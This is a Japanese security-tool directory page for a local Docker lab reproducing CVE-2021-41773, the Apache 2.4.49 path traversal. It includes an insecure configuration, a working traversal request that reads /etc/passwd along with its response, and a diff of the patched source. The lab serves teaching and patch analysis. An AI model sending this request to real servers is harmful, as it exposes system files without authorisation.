Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-41773-i- | Kitploit
ツール/GitHubGitHub/mightysai1997/cve-2021-41773-i-
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubmightysai1997/cve-2021-41773-i-

CVE-2021-41773-i-

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-41773

CVE-2021-41773 Dockerを使用したPOC

設定

httpd.confファイルをカスタマイズするには、<Directory />セクションの251行目をRequire all deniedからRequire all grantedに変更します。

root@kitploit:~
<Directory />
    AllowOverride none
    Require all granted
</Directory>

プロジェクトにDockerfileを作成する

root@kitploit:~
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

次に、以下のコマンドを実行してDockerイメージをビルドし、実行します:

root@kitploit:~
$ docker build -t apache-pt .
$ docker run -dit --name apache-pt-app -p 81:80 apache-pt

エクスプロイト

BurpSuite Repeaterを使用して、次のリクエストを送信します。

root@kitploit:~
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: localhost:81
User-Agent: Mozilla
Connection: close


レスポンス:

root@kitploit:~
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 02:32:09 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

パッチリビジョン

Apache 2.4.49(脆弱性あり)とApache 2.4.50(パッチ適用済み)のソースコードは、それぞれ以下からダウンロードできます:

  • https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
  • https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz
root@kitploit:~
$ wget https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
$ wget https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz

脆弱性は/server/util.cファイルの571行目にあり、/xx/../タイプのペイロードには検証が適用されますが、/xx/.%2e/には適用されません。

脆弱性のあるコードとパッチ適用後のコードの差分は、diffコマンドで取得できます。

root@kitploit:~
$ diff httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c
505c505,506
<     apr_size_t l = 1, w = 1;
---
>     apr_size_t l = 1, w = 1, n;
>     int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
532c533
<         if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
---
>         if (decode_unreserved
570,571c571,581
<                 /* Remove /xx/../ segments */
<                 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
---
>                 /* Remove /xx/../ segments (or /xx/.%2e/ when
>                  * AP_NORMALIZE_DECODE_UNRESERVED is set since we
>                  * decoded only the first dot above).
>                  */
>                 n = l + 1;
>                 if ((path[n] == '.' || (decode_unreserved
>                                         && path[n] == '%'
>                                         && path[++n] == '2'
>                                         && (path[++n] == 'e'
>                                             || path[n] == 'E')))
>                         && IS_SLASH_OR_NUL(path[n + 1])) {
588c598
<                     l += 2;
---
>                     l = n + 1;
ツールをダウンロード